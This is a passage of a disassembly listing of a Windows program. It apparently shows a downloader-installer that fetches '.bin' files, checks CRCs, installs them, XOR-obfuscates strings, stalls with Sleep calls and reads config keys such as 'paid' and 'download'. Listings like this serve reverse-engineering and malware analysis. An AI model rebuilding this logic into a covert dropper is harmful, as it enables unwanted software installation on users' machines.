[eax+4] mov [edx], ecx mov eax, [ebp+var_4] loc_4029EA: ; CODE XREF: sub_4027A4+1Bj ; sub_4027A4+5Fj ... mov esp, ebp pop ebp retn 8 sub_4027A4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4029F0 proc near ; DATA XREF: HSho:off_4132CCo var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov [ebp+var_4], ecx mov ecx, [ebp+var_4] call sub_4026C7 mov eax, [ebp+arg_0] and eax, 1 test eax, eax jz short loc_402A15 mov ecx, [ebp+var_4] push ecx call sub_4114EE add esp, 4 loc_402A15: ; CODE XREF: sub_4029F0+17j mov eax, [ebp+var_4] mov esp, ebp pop ebp retn 4 sub_4029F0 endp ; =============== S U B R O U T I N E ======================================= sub_402A1E proc near ; CODE XREF: sub_4095C0+34p mov eax, offset loc_411B7B call sub_41163A ; _EH_prolog sub esp, 27Ch push ebx push esi mov esi, ecx push edi mov [ebp-1Ch], esi call sub_41151E and dword ptr [ebp-4], 0 lea ecx, [esi+4] call sub_41151E lea ebx, [esi+8] mov byte ptr [ebp-4], 1 mov ecx, ebx call sub_41151E lea ecx, [esi+10h] mov byte ptr [ebp-4], 2 call sub_41151E lea ecx, [esi+14h] mov byte ptr [ebp-4], 3 call sub_41151E lea edi, [esi+1Ch] mov byte ptr [ebp-4], 4 mov ecx, edi call sub_41151E lea ecx, [esi+20h] mov byte ptr [ebp-4], 5 call sub_41151E lea ecx, [esi+24h] mov byte ptr [ebp-4], 6 call sub_41151E lea ecx, [esi+202Ch] mov byte ptr [ebp-4], 7 call sub_4026B0 lea eax, [ebp-288h] push 121h push eax mov byte ptr [ebp-4], 8 call dword_4130D4 ; GetWindowsDirectoryA lea eax, [ebp-164h] push 104h push eax push 0 call dword_4130D8 ; GetModuleFileNameA lea eax, [ebp-288h] mov ecx, edi push eax call sub_41150C mov edi, dword_4130E0 push 1Ch call edi ; Sleep lea eax, [ebp-164h] lea ecx, [esi+20h] push eax call sub_41150C lea eax, [ebp-44h] push 1 push eax mov ecx, esi call sub_404B40 lea eax, [ebp-44h] mov ecx, ebx push eax call sub_41150C push 20h call edi ; Sleep push 43h lea eax, [ebp-18h] push offset aD ; "%d" push eax call dword_41329C ; wsprintfA add esp, 0Ch push 21h call edi ; Sleep lea eax, [ebp-18h] mov ecx, esi push eax call sub_41150C lea ecx, [ebp-14h] call sub_41151E push ecx mov byte ptr [ebp-4], 9 mov eax, esp mov [ebp-10h], esp push esi push ebx push eax call sub_411524 lea eax, [ebp-10h] mov ecx, esi push eax call sub_402FAF push eax lea ecx, [ebp-14h] mov byte ptr [ebp-4], 0Ah call sub_411518 lea ecx, [ebp-10h] mov byte ptr [ebp-4], 9 call sub_411512 push ecx lea eax, [ebp-14h] mov ecx, esp mov [ebp-10h], esp push eax call sub_411506 mov ecx, esi call sub_405543 test al, al jz short loc_402B90 mov byte ptr [esi+18h], 1 jmp short loc_402B94 ; --------------------------------------------------------------------------- loc_402B90: ; CODE XREF: sub_402A1E+16Aj push 21h call edi ; Sleep loc_402B94: ; CODE XREF: sub_402A1E+170j lea ecx, [ebp-14h] mov byte ptr [ebp-4], 8 call sub_411512 mov ecx, [ebp-0Ch] mov eax, esi pop edi pop esi mov large fs:0, ecx pop ebx leave retn sub_402A1E endp ; =============== S U B R O U T I N E ======================================= sub_402BB1 proc near ; CODE XREF: sub_409540+4Dp ; HSho:00412512p ... mov eax, offset loc_411BDD call sub_41163A ; _EH_prolog push ecx push esi mov esi, ecx mov [ebp-10h], esi push 0 mov dword ptr [ebp-4], 7 call dword_4132B0 lea ecx, [esi+202Ch] call sub_4026C7 lea ecx, [esi+24h] mov byte ptr [ebp-4], 6 call sub_411512 lea ecx, [esi+20h] mov byte ptr [ebp-4], 5 call sub_411512 lea ecx, [esi+1Ch] mov byte ptr [ebp-4], 4 call sub_411512 lea ecx, [esi+14h] mov byte ptr [ebp-4], 3 call sub_411512 lea ecx, [esi+10h] mov byte ptr [ebp-4], 2 call sub_411512 lea ecx, [esi+8] mov byte ptr [ebp-4], 1 call sub_411512 and byte ptr [ebp-4], 0 lea ecx, [esi+4] call sub_411512 or dword ptr [ebp-4], 0FFFFFFFFh mov ecx, esi call sub_411512 mov ecx, [ebp-0Ch] pop esi mov large fs:0, ecx leave retn sub_402BB1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402C48 proc near ; CODE XREF: sub_402EC9+30p var_1844 = byte ptr -1844h var_1044 = byte ptr -1044h var_844 = byte ptr -844h var_44 = dword ptr -44h var_40 = dword ptr -40h var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_28 = dword ptr -28h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = byte ptr 18h arg_14 = dword ptr 1Ch arg_18 = byte ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp mov eax, 1844h call sub_4115D0 push ebx push esi push edi mov edi, dword_4130CC push [ebp+arg_8] lea eax, [ebp+var_1044] mov [ebp+var_4], ecx push eax call edi ; lstrcpyA push [ebp+arg_C] mov esi, dword_413074 lea eax, [ebp+var_1044] push eax call esi ; lstrcatA lea eax, [ebp+var_1044] push offset a_bin ; ".bin" push eax call esi ; lstrcatA push [ebp+arg_8] lea eax, [ebp+var_1844] push eax call edi ; lstrcpyA push [ebp+arg_C] lea eax, [ebp+var_1844] push eax call esi ; lstrcatA cmp byte ptr [ebp+arg_14], 0 mov [ebp+arg_C], 3 mov [ebp+var_8], 1 jz short loc_402CBD and [ebp+var_8], 0 loc_402CBD: ; CODE XREF: sub_402C48+6Fj push ecx mov ecx, esp mov [ebp+arg_14], esp push offset aInstallzip ; "InstallZip()\n" call sub_4114FA mov ecx, [ebp+var_4] call sub_404B34 mov ebx, dword_4130E0 loc_402CDB: ; CODE XREF: sub_402C48+10Bj lea eax, [ebp+var_1044] push eax mov eax, [ebp+var_4] push [ebp+arg_0] lea ecx, [eax+202Ch] call sub_4026DB test al, al jz short loc_402D45 lea eax, [ebp+var_1044] push eax call sub_4021DB test eax, eax pop ecx jz short loc_402D45 cmp [ebp+arg_1C], 0 jz short loc_402D5E push [ebp+arg_1C] push ecx mov ecx, esp mov [ebp+arg_14], esp push [ebp+arg_8] call sub_4114FA mov ecx, [ebp+var_4] call sub_404AAE cmp al, 1 jz short loc_402D5E lea eax, [ebp+var_844] push offset aCrcFailed ; "crc failed:" push eax call edi ; lstrcpyA push [ebp+arg_8] lea eax, [ebp+var_844] push eax call esi ; lstrcatA loc_402D45: ; CODE XREF: sub_402C48+ADj ; sub_402C48+BEj dec [ebp+arg_C] push 0EA7Ch call ebx ; Sleep cmp [ebp+arg_C], 0 jnz short loc_402CDB loc_402D55: ; CODE XREF: sub_402C48+207j xor al, al loc_402D57: ; CODE XREF: sub_402C48+27Cj pop edi pop esi pop ebx leave retn 24h ; --------------------------------------------------------------------------- loc_402D5E: ; CODE XREF: sub_402C48+C4j ; sub_402C48+E1j push [ebp+arg_8] mov ecx, [ebp+var_4] lea eax, [ebp+var_1044] push eax call sub_404A2D test al, al jz loc_402EC2 cmp [ebp+arg_10], 0 jz loc_402EC2 push [ebp+arg_8] call sub_4021DB test eax, eax pop ecx jz short loc_402DDD push [ebp+arg_8] lea eax, [ebp+var_844] push eax call edi ; lstrcpyA lea eax, [ebp+var_844] push offset a_old ; ".old" push eax call esi ; lstrcatA lea eax, [ebp+var_844] push 1 push eax push [ebp+arg_8] call sub_401D8A lea eax, [ebp+var_844] push eax call sub_4021DB add esp, 10h test eax, eax jz short loc_402DDD lea eax, [ebp+var_844] push 1 push eax call sub_401C92 pop ecx pop ecx loc_402DDD: ; CODE XREF: sub_402C48+145j ; sub_402C48+183j lea eax, [ebp+var_844] push offset aCrcOkInstall ; "crc ok, Install(" push eax call edi ; lstrcpyA push [ebp+arg_8] lea eax, [ebp+var_844] push eax call esi ; lstrcatA lea eax, [ebp+var_844] push offset asc_4170B4 ; ")" push eax call esi ; lstrcatA push ecx lea eax, [ebp+var_844] mov ecx, esp mov [ebp+arg_14], esp push eax call sub_4114FA mov ecx, [ebp+var_4] call sub_404B34 lea eax, [ebp+var_1044] push eax call sub_4021DB test eax, eax pop ecx jz short loc_402E40 lea eax, [ebp+var_1044] push 1 push eax call sub_401C92 pop ecx pop ecx loc_402E40: ; CODE XREF: sub_402C48+1E6j lea eax, [ebp+var_1844] push eax call sub_4021DB test eax, eax pop ecx jz loc_402D55 push 25h call ebx ; Sleep push 3Ch pop esi push esi call ebx ; Sleep push esi lea eax, [ebp+var_44] push 0 push eax call sub_411622 ; memset lea eax, [ebp+var_1844] add esp, 0Ch mov [ebp+var_34], eax mov eax, [ebp+arg_4] mov [ebp+var_30], eax mov eax, [ebp+var_8] push 5Bh mov [ebp+var_44], esi mov [ebp+var_38], offset aOpen ; "OPEN" mov [ebp+var_28], eax call ebx ; Sleep push 0A1h mov [ebp+var_40], 40h call ebx ; Sleep cmp [ebp+arg_C], 0 jle short loc_402EC2 mov ecx, [ebp+var_4] lea eax, [ebp+var_44] push eax call sub_406208 cmp [ebp+arg_18], 0 jz short loc_402EC2 push 0FFFFFFFFh push [ebp+var_C] call dword_4130D0 ; WaitForSingleObject loc_402EC2: ; CODE XREF: sub_402C48+12Aj ; sub_402C48+134j ... mov al, 1 jmp loc_402D57 sub_402C48 endp ; =============== S U B R O U T I N E ======================================= sub_402EC9 proc near ; CODE XREF: sub_404605+262p mov eax, offset loc_411BE8 call sub_41163A ; _EH_prolog push ecx push ebx push esi push edi and dword ptr [ebp-4], 0 mov [ebp-10h], esp push dword ptr [ebp+28h] push dword ptr [ebp+24h] push dword ptr [ebp+20h] push dword ptr [ebp+1Ch] push dword ptr [ebp+18h] push dword ptr [ebp+14h] push dword ptr [ebp+10h] push dword ptr [ebp+0Ch] push dword ptr [ebp+8] call sub_402C48 test al, al setnz al jmp short loc_402F0D ; --------------------------------------------------------------------------- loc_402F05: ; DATA XREF: HSho:00414F94o mov eax, offset loc_402F0B retn ; --------------------------------------------------------------------------- loc_402F0B: ; DATA XREF: sub_402EC9:loc_402F05o xor al, al loc_402F0D: ; CODE XREF: sub_402EC9+3Aj mov ecx, [ebp-0Ch] pop edi pop esi mov large fs:0, ecx pop ebx leave retn 24h sub_402EC9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402F1E proc near ; CODE XREF: sub_40831F+58Dp var_868 = byte ptr -868h var_68 = byte ptr -68h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 868h push ebx push esi push edi mov esi, dword_4130CC push 3 lea eax, [ebp+var_868] pop edi mov ebx, ecx push [ebp+arg_0] push eax call esi ; lstrcpyA add ebx, 202Ch loc_402F47: ; CODE XREF: sub_402F1E+85j push [ebp+arg_4] lea eax, [ebp+var_868] mov ecx, ebx push eax call sub_4027A4 test eax, eax mov [ebp+var_4], eax jbe short loc_402F61 xor edi, edi loc_402F61: ; CODE XREF: sub_402F1E+3Fj test edi, edi jz short loc_402FA5 dec edi lea eax, [ebp+var_68] push edi push offset aRetryD ; "&retry=%d" push eax call dword_4131E4 ; sprintf add esp, 0Ch lea eax, [ebp+var_868] push [ebp+arg_0] push eax call esi ; lstrcpyA lea eax, [ebp+var_68] push eax lea eax, [ebp+var_868] push eax call dword_413074 ; lstrcatA push 493FCh call dword_4130E0 ; Sleep test edi, edi jnz short loc_402F47 loc_402FA5: ; CODE XREF: sub_402F1E+45j mov eax, [ebp+var_4] pop edi pop esi pop ebx leave retn 8 sub_402F1E endp ; =============== S U B R O U T I N E ======================================= sub_402FAF proc near ; CODE XREF: sub_402A1E+134p ; sub_404605+F9p ... mov eax, offset loc_411C1B call sub_41163A ; _EH_prolog mov eax, 4010h call sub_4115D0 and dword ptr [ebp-1Ch], 0 push ebx push esi push edi mov dl, ds:byte_419C40 mov esi, 7FFh mov ecx, esi xor eax, eax lea edi, [ebp-201Bh] mov [ebp-201Ch], dl rep stosd stosw stosb mov ecx, esi xor eax, eax lea edi, [ebp-401Bh] mov [ebp-401Ch], dl rep stosd stosw lea ecx, [ebp-10h] mov dword ptr [ebp-4], 1 stosb call sub_41151E push offset dword_417110 lea ecx, [ebp-10h] mov byte ptr [ebp-4], 2 call sub_41150C mov eax, [ebp+0Ch] xor esi, esi mov ebx, [eax-8] test ebx, ebx jle short loc_40306E mov edi, [ebp-10h] mov [ebp-14h], eax lea eax, [ebp-201Ch] sub [ebp-14h], eax loc_40303A: ; CODE XREF: sub_402FAF+BDj test esi, esi jle short loc_403053 mov ecx, [edi-8] mov eax, esi cdq idiv ecx test eax, eax mov eax, esi jle short loc_403055 cdq idiv ecx mov eax, edx jmp short loc_403055 ; --------------------------------------------------------------------------- loc_403053: ; CODE XREF: sub_402FAF+8Dj mov eax, esi loc_403055: ; CODE XREF: sub_402FAF+9Bj ; sub_402FAF+A2j mov edx, [ebp-14h] mov al, [eax+edi] lea ecx, [ebp+esi-201Ch] mov dl, [edx+ecx] xor al, dl inc esi cmp esi, ebx mov [ecx], al jl short loc_40303A loc_40306E: ; CODE XREF: sub_402FAF+7Aj xor esi, esi test ebx, ebx jle short loc_4030A8 loc_403074: ; CODE XREF: sub_402FAF+F7j movzx eax, byte ptr [ebp+esi-201Ch] push eax lea eax, [ebp-16h] push offset a02x ; "%02X" push eax call dword_4131E4 ; sprintf lea eax, [ebp-16h] push eax lea eax, [ebp-401Ch] push eax call sub_411640 ; strcat mov eax, [ebp+0Ch] add esp, 14h inc esi cmp esi, [eax-8] jl short loc_403074 loc_4030A8: ; CODE XREF: sub_402FAF+C3j push offset byte_419C40 lea ecx, [ebp+0Ch] call sub_41150C mov ecx, [ebp+8] lea eax, [ebp-401Ch] push eax call sub_4114FA mov dword ptr [ebp-1Ch], 1 lea ecx, [ebp-10h] mov byte ptr [ebp-4], 1 call sub_411512 and byte ptr [ebp-4], 0 lea ecx, [ebp+0Ch] call sub_411512 mov ecx, [ebp-0Ch] mov eax, [ebp+8] pop edi pop esi pop ebx mov large fs:0, ecx leave retn 8 sub_402FAF endp ; =============== S U B R O U T I N E ======================================= sub_4030F7 proc near ; CODE XREF: sub_404B40+359p ; sub_405B91+59p ... mov eax, offset loc_411C57 call sub_41163A ; _EH_prolog mov eax, 6018h call sub_4115D0 mov dl, ds:byte_419C40 push ebx push esi mov [ebp-20h], ecx mov esi, 7FFh push edi mov ecx, esi xor eax, eax lea edi, [ebp-4023h] mov [ebp-4024h], dl rep stosd stosw stosb mov ecx, esi xor eax, eax lea edi, [ebp-2023h] mov [ebp-2024h], dl rep stosd stosw xor ebx, ebx lea ecx, [ebp-10h] mov [ebp-1Ch], ebx stosb call sub_41151E lea ecx, [ebp-18h] mov dword ptr [ebp-4], 1 call sub_41151E push 5Bh mov byte ptr [ebp-4], 2 call dword_4130E0 ; Sleep mov esi, [ebp+10h] lea eax, [esi+1] push eax lea eax, [ebp-6024h] push dword ptr [ebp+0Ch] push eax call dword_4130C8 ; lstrcpynA push offset dword_417110 lea ecx, [ebp-10h] call sub_41150C mov [ebp+10h], esi xor edi, edi shr dword ptr [ebp+10h], 1 jz loc_403230 loc_4031A0: ; CODE XREF: sub_4030F7+133j test ebx, ebx jle short loc_4031BC mov eax, [ebp-10h] mov ecx, [eax-8] mov eax, edi cdq idiv ecx test eax, eax jle short loc_4031BC mov eax, edi cdq idiv ecx mov esi, edx jmp short loc_4031BE ; --------------------------------------------------------------------------- loc_4031BC: ; CODE XREF: sub_4030F7+ABj ; sub_4030F7+BAj mov esi, edi loc_4031BE: ; CODE XREF: sub_4030F7+C3j push 2 lea eax, [ebp-6024h] push ebx push eax lea eax, [ebp+0Ch] lea ecx, [ebp-24h] push eax call sub_401ACF push eax lea ecx, [ebp-18h] mov byte ptr [ebp-4], 3 call sub_411518 lea ecx, [ebp+0Ch] mov byte ptr [ebp-4], 2 call sub_411512 push dword ptr [ebp-18h] mov ecx, [ebp-20h] call sub_403287 mov ecx, [ebp-10h] movsx ecx, byte ptr [esi+ecx] xor eax, ecx push eax lea eax, [ebp-12h] push offset dword_417120 push eax call dword_4131E4 ; sprintf lea eax, [ebp-12h] push eax lea eax, [ebp-2024h] push eax call sub_411640 ; strcat add esp, 14h inc edi inc ebx inc ebx cmp edi, [ebp+10h] jb loc_4031A0 loc_403230: ; CODE XREF: sub_4030F7+A3j lea eax, [ebp-2024h] push eax lea eax, [ebp-4024h] push eax call sub_411628 ; strcpy pop ecx lea eax, [ebp-4024h] pop ecx mov ecx, [ebp+8] push eax call sub_4114FA mov dword ptr [ebp-1Ch], 1 lea ecx, [ebp-18h] mov byte ptr [ebp-4], 1 call sub_411512 and byte ptr [ebp-4], 0 lea ecx, [ebp-10h] call sub_411512 mov ecx, [ebp-0Ch] mov eax, [ebp+8] pop edi pop esi pop ebx mov large fs:0, ecx leave retn 0Ch sub_4030F7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403287 proc near ; CODE XREF: sub_4030F7+FCp var_80 = byte ptr -80h var_7C = dword ptr -7Ch var_78 = byte ptr -78h var_74 = dword ptr -74h var_70 = byte ptr -70h var_6C = dword ptr -6Ch var_68 = byte ptr -68h var_64 = dword ptr -64h var_60 = byte ptr -60h var_5C = dword ptr -5Ch var_58 = byte ptr -58h var_54 = dword ptr -54h var_50 = byte ptr -50h var_4C = dword ptr -4Ch var_48 = byte ptr -48h var_44 = dword ptr -44h var_40 = byte ptr -40h var_3C = dword ptr -3Ch var_38 = byte ptr -38h var_34 = dword ptr -34h var_30 = byte ptr -30h var_2C = dword ptr -2Ch var_28 = byte ptr -28h var_24 = dword ptr -24h var_20 = byte ptr -20h var_1C = dword ptr -1Ch var_18 = byte ptr -18h var_14 = dword ptr -14h var_10 = byte ptr -10h var_C = dword ptr -0Ch var_8 = byte ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 80h and [ebp+var_7C], 0 push ebx push esi push edi push [ebp+arg_0] mov [ebp+var_80], 30h mov [ebp+var_78], 31h mov [ebp+var_74], 1 mov [ebp+var_70], 32h mov [ebp+var_6C], 2 mov [ebp+var_68], 33h mov [ebp+var_64], 3 mov [ebp+var_60], 34h mov [ebp+var_5C], 4 mov [ebp+var_58], 35h mov [ebp+var_54], 5 mov [ebp+var_50], 36h mov [ebp+var_4C], 6 mov [ebp+var_48], 37h mov [ebp+var_44], 7 mov [ebp+var_40], 38h mov [ebp+var_3C], 8 mov [ebp+var_38], 39h mov [ebp+var_34], 9 mov [ebp+var_30], 41h mov [ebp+var_2C], 0Ah mov [ebp+var_28], 42h mov [ebp+var_24], 0Bh mov [ebp+var_20], 43h mov [ebp+var_1C], 0Ch mov [ebp+var_18], 44h mov [ebp+var_14], 0Dh mov [ebp+var_10], 45h mov [ebp+var_C], 0Eh mov [ebp+var_8], 46h mov [ebp+var_4], 0Fh call dword_4131B0 ; _strdup push eax call dword_4131B4 ; _mbsupr pop ecx xor esi, esi cmp byte ptr [eax], 30h pop ecx mov edx, eax jnz short loc_403364 cmp byte ptr [eax+1], 58h jnz short loc_403364 lea edx, [eax+2] loc_403364: ; CODE XREF: sub_403287+D2j ; sub_403287+D8j mov byte ptr [ebp+arg_0+3], 1 loc_403368: ; CODE XREF: sub_403287+10Dj mov cl, [edx] test cl, cl jz short loc_403396 xor edi, edi lea ebx, [ebp+var_80] loc_403373: ; CODE XREF: sub_403287+F9j cmp cl, [ebx] jz short loc_403382 inc edi add ebx, 8 cmp edi, 10h jge short loc_403396 jmp short loc_403373 ; --------------------------------------------------------------------------- loc_403382: ; CODE XREF: sub_403287+EEj cmp byte ptr [ebp+arg_0+3], 0 jnz short loc_40338B shl esi, 4 loc_40338B: ; CODE XREF: sub_403287+FFj or esi, [ebp+edi*8+var_7C] inc edx and byte ptr [ebp+arg_0+3], 0 jmp short loc_403368 ; --------------------------------------------------------------------------- loc_403396: ; CODE XREF: sub_403287+E5j ; sub_403287+F7j push eax call dword_4131D4 ; free pop ecx mov eax, esi pop edi pop esi pop ebx leave retn 4 sub_403287 endp ; =============== S U B R O U T I N E ======================================= sub_4033A7 proc near ; CODE XREF: sub_40831F+914p var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ecx push ebx push ebp push esi mov esi, ecx push edi push ecx mov ecx, esp mov [esp+18h+var_4], esp push offset dword_417124 call sub_4114FA mov ecx, esi call sub_404B34 mov eax, [esp+14h+arg_4] xor ebx, ebx cmp eax, ebx jle loc_403480 mov ecx, [esp+14h+arg_0] mov edi, dword_4130CC mov [esp+14h+arg_4], eax mov ebp, offset byte_419C40 lea esi, [ecx+4000h] loc_4033ED: ; CODE XREF: sub_4033A7+D3j lea eax, [esi-4000h] push ebp push eax call edi ; lstrcpyA lea eax, [esi-2000h] push ebp push eax call edi ; lstrcpyA push ebp push esi call edi ; lstrcpyA lea eax, [esi+2000h] push ebp push eax call edi ; lstrcpyA lea eax, [esi+4000h] push ebp push eax call edi ; lstrcpyA lea eax, [esi+6000h] push ebp push eax call edi ; lstrcpyA lea eax, [esi+0E000h] push ebp push eax call edi ; lstrcpyA lea eax, [esi+0A000h] push ebp push eax call edi ; lstrcpyA lea eax, [esi+8000h] push ebp push eax call edi ; lstrcpyA lea eax, [esi+0C000h] push ebp push eax call edi ; lstrcpyA mov [esi+10001h], bl mov byte ptr [esi+10002h], 1 mov [esi+10003h], bl mov [esi+10004h], bl mov [esi+10000h], bl mov [esi+10008h], ebx add esi, 1400Ch dec [esp+14h+arg_4] jnz loc_4033ED loc_403480: ; CODE XREF: sub_4033A7+27j pop edi pop esi pop ebp pop ebx pop ecx retn 8 sub_4033A7 endp ; =============== S U B R O U T I N E ======================================= sub_403488 proc near ; CODE XREF: sub_40831F+94Cp mov eax, offset loc_411D9D call sub_41163A ; _EH_prolog mov eax, 2134h call sub_4115D0 push ebx push esi push edi mov [ebp-28h], ecx xor ebx, ebx mov [ebp-4], ebx mov [ebp-24h], ebx mov [ebp-14h], ebx push ecx mov byte ptr [ebp-4], 1 mov ecx, esp mov [ebp-2Ch], esp push offset aParsexml ; "ParseXML()\n" call sub_4114FA mov ecx, [ebp-28h] call sub_404B34 cmp [ebp+8], ebx jnz short loc_4034D8 push 80004003h call sub_411822 loc_4034D8: ; CODE XREF: sub_403488+44j mov ecx, [ebp+8] lea eax, [ebp-1Ch] push eax call sub_4043E6 push dword ptr [eax] lea ecx, [ebp-14h] call sub_4062A0 lea ecx, [ebp-1Ch] call sub_406293 mov edi, offset aS ; "%s" loc_4034FB: ; CODE XREF: sub_403488+CA3j push ebx lea ecx, [ebp-14h] call sub_4062CB test al, al jnz loc_404130 push offset aConfigversio_0 ; "configversion" lea ecx, [ebp-0C0h] call sub_404151 mov esi, eax cmp [ebp-14h], ebx mov byte ptr [ebp-4], 2 jnz short loc_403531 push 80004003h call sub_411822 loc_403531: ; CODE XREF: sub_403488+9Dj mov ecx, [ebp-14h] lea eax, [ebp-84h] push eax call sub_40430D push esi mov ecx, eax call sub_4041B8 mov ebx, eax lea ecx, [ebp-84h] neg ebx sbb bl, bl inc bl call sub_4041A5 lea ecx, [ebp-0C0h] mov byte ptr [ebp-4], 1 call sub_4041A5 test bl, bl jz loc_403632 cmp dword ptr [ebp-14h], 0 jnz short loc_403582 push 80004003h call sub_411822 loc_403582: ; CODE XREF: sub_403488+EEj mov ecx, [ebp-14h] lea eax, [ebp-0D0h] push eax call sub_40444A mov ecx, [eax] mov byte ptr [ebp-4], 3 test ecx, ecx jz short loc_4035A2 call sub_404243 jmp short loc_4035A4 ; --------------------------------------------------------------------------- loc_4035A2: ; CODE XREF: sub_403488+111j xor eax, eax loc_4035A4: ; CODE XREF: sub_403488+118j push eax lea eax, [ebp-2140h] push edi push eax call dword_4131E4 ; sprintf add esp, 0Ch lea ecx, [ebp-0D0h] mov byte ptr [ebp-4], 1 call sub_4041A5 push 80000000h push 1 push ecx mov ecx, esp mov [ebp-0C8h], esp push offset byte_419C40 call sub_4114FA push ecx mov byte ptr [ebp-4], 4 mov ecx, esp mov [ebp-20h], esp push offset aWrConfigversio ; "WR\\configversion" call sub_4114FA lea ecx, [ebp-100h] mov byte ptr [ebp-4], 1 call sub_40671B push ecx lea eax, [ebp-2140h] mov ecx, esp mov [ebp-20h], esp push eax mov byte ptr [ebp-4], 5 call sub_4114FA lea ecx, [ebp-100h] call sub_406BA8 lea ecx, [ebp-100h] mov byte ptr [ebp-4], 1 call sub_4068AF loc_403632: ; CODE XREF: sub_403488+E4j push offset aPaid ; "paid" lea ecx, [ebp-3Ch] call sub_404151 mov esi, eax cmp dword ptr [ebp-14h], 0 mov byte ptr [ebp-4], 6 jnz short loc_403655 push 80004003h call sub_411822 loc_403655: ; CODE XREF: sub_403488+1C1j mov ecx, [ebp-14h] lea eax, [ebp-94h] push eax call sub_40430D push esi mov ecx, eax call sub_4041B8 mov ebx, eax lea ecx, [ebp-94h] neg ebx sbb bl, bl inc bl call sub_4041A5 lea ecx, [ebp-3Ch] mov byte ptr [ebp-4], 1 call sub_4041A5 test bl, bl jz loc_403753 cmp dword ptr [ebp-14h], 0 jnz short loc_4036A3 push 80004003h call sub_411822 loc_4036A3: ; CODE XREF: sub_403488+20Fj mov ecx, [ebp-14h] lea eax, [ebp-0C4h] push eax call sub_40444A mov ecx, [eax] mov byte ptr [ebp-4], 7 test ecx, ecx jz short loc_4036C3 call sub_404243 jmp short loc_4036C5 ; --------------------------------------------------------------------------- loc_4036C3: ; CODE XREF: sub_403488+232j xor eax, eax loc_4036C5: ; CODE XREF: sub_403488+239j push eax lea eax, [ebp-2140h] push edi push eax call dword_4131E4 ; sprintf add esp, 0Ch lea ecx, [ebp-0C4h] mov byte ptr [ebp-4], 1 call sub_4041A5 push 80000000h push 1 push ecx mov ecx, esp mov [ebp-20h], esp push offset byte_419C40 call sub_4114FA push ecx mov byte ptr [ebp-4], 8 mov ecx, esp mov [ebp-0C8h], esp push offset aWrP ; "WR\\p" call sub_4114FA lea ecx, [ebp-140h] mov byte ptr [ebp-4], 1 call sub_40671B push ecx lea eax, [ebp-2140h] mov ecx, esp mov [ebp-20h], esp push eax mov byte ptr [ebp-4], 9 call sub_4114FA lea ecx, [ebp-140h] call sub_406BA8 lea ecx, [ebp-140h] mov byte ptr [ebp-4], 1 call sub_4068AF loc_403753: ; CODE XREF: sub_403488+205j push offset aNextupdate ; "nextupdate" lea ecx, [ebp-9Ch] call sub_404151 mov esi, eax cmp dword ptr [ebp-14h], 0 mov byte ptr [ebp-4], 0Ah jnz short loc_403779 push 80004003h call sub_411822 loc_403779: ; CODE XREF: sub_403488+2E5j mov ecx, [ebp-14h] lea eax, [ebp-44h] push eax call sub_40430D push esi mov ecx, eax call sub_4041B8 mov ebx, eax lea ecx, [ebp-44h] neg ebx sbb bl, bl inc bl call sub_4041A5 lea ecx, [ebp-9Ch] mov byte ptr [ebp-4], 1 call sub_4041A5 test bl, bl jz loc_403864 cmp dword ptr [ebp-14h], 0 jnz short loc_4037C4 push 80004003h call sub_411822 loc_4037C4: ; CODE XREF: sub_403488+330j mov ecx, [ebp-14h] lea eax, [ebp-4Ch] push eax call sub_40444A mov ecx, [eax] mov byte ptr [ebp-4], 0Bh test ecx, ecx jz short loc_4037E1 call sub_404243 jmp short loc_4037E3 ; --------------------------------------------------------------------------- loc_4037E1: ; CODE XREF: sub_403488+350j xor eax, eax loc_4037E3: ; CODE XREF: sub_403488+357j push eax lea eax, [ebp-2140h] push edi push eax call dword_4131E4 ; sprintf add esp, 0Ch lea ecx, [ebp-4Ch] mov byte ptr [ebp-4], 1 call sub_4041A5 lea eax, [ebp-2140h] push eax call dword_4131A0 ; atol mov esi, eax lea eax, [ebp-1Ch] push eax call dword_4131A4 ; time pop ecx add [ebp-1Ch], esi pop ecx push 80000000h push 1 push 0 push ecx mov ecx, esp mov [ebp-20h], esp push offset aWrNextupdate ; "WR\\nextupdate" call sub_4114FA lea ecx, [ebp-120h] call sub_406374 push dword ptr [ebp-1Ch] lea ecx, [ebp-120h] mov byte ptr [ebp-4], 0Ch call sub_406633 lea ecx, [ebp-120h] mov byte ptr [ebp-4], 1 call sub_4064C6 loc_403864: ; CODE XREF: sub_403488+326j push offset aDownload ; "download" lea ecx, [ebp-54h] call sub_404151 mov esi, eax cmp dword ptr [ebp-14h], 0 mov byte ptr [ebp-4], 0Dh jnz short loc_403887 push 80004003h call sub_411822 loc_403887: ; CODE XREF: sub_403488+3F3j mov ecx, [ebp-14h] lea eax, [ebp-0DCh] push eax call sub_40430D push esi mov ecx, eax call sub_4041B8 mov ebx, eax lea ecx, [ebp-0DCh] neg ebx sbb bl, bl inc bl call sub_4041A5 lea ecx, [ebp-54h] mov byte ptr [ebp-4], 1 call sub_4041A5 test bl, bl jz loc_4040FB cmp dword ptr [ebp-14h], 0 jnz short loc_4038D5 push 80004003h call sub_411822 loc_4038D5: ; CODE XREF: sub_403488+441j mov ecx, [ebp-14h] lea eax, [ebp-18h] push eax call sub_4043E6 mov eax, [ebp-24h] mov ecx, [ebp+0Ch] imul eax, 1400Ch mov byte ptr [ebp-4], 0Eh mov ebx, 80004003h lea edi, [eax+ecx+0A000h] loc_4038FD: ; CODE XREF: sub_403488+C5Dj push 0 lea ecx, [ebp-18h] call sub_4062CB test al, al jnz loc_4040EA cmp dword ptr [ebp-18h], 0 jnz short loc_40391B push ebx call sub_411822 loc_40391B: ; CODE XREF: sub_403488+48Bj mov ecx, [ebp-18h] lea eax, [ebp-10h] push eax call sub_4043E6 